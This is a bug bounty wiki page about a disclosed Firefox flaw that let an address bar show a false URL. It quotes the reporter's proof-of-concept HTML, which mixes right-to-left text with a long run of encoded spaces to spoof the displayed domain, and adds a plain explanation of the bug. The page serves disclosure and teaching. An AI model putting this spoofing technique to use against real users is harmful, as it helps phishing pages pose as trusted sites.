Firefox address bar spoof using RTL language and references
Firefox's address bar could be made to display a misleading URL by opening a link that combines a right-to-left script with a long run of encoded spaces and a fragment. An attacker could use this to show a victim a trusted-looking address while the page actually came from a different domain.
- Fixed in 3 months
- Paid in 6 months
- Disclosed after 3 months
```text
Created attachment 8903091
spoof.png
Firefox address bar spoof using hebrew on Windows/macOS.
poc.html
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
function aa(){
var link = document.createElement('a');
link.href = "https://xn--ggbla1c4e.xn--ngbc5azd/#"+Array(0x200).join("%20")+"סוֹ.סח";
link.target="aaaa";
document.body.appendChild(link);
link.click();
}
</script>
<a onclick="aa();" href="javascript:void(0);">CLICK ME</a>
Expected Result:
https://اس�
اء.شبكة
Rendered Results:
https://no.io
```Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Victim uses Firefox on Windows or macOS; victim clicks a crafted link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The address bar is meant to tell you which website you are on. Here, a crafted link made Firefox show one address while the real page was somewhere else, because of how it displays text written right-to-left (like Hebrew or Arabic) mixed with a very long fragment. A victim could be tricked into trusting a page that is not the site it appears to be.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.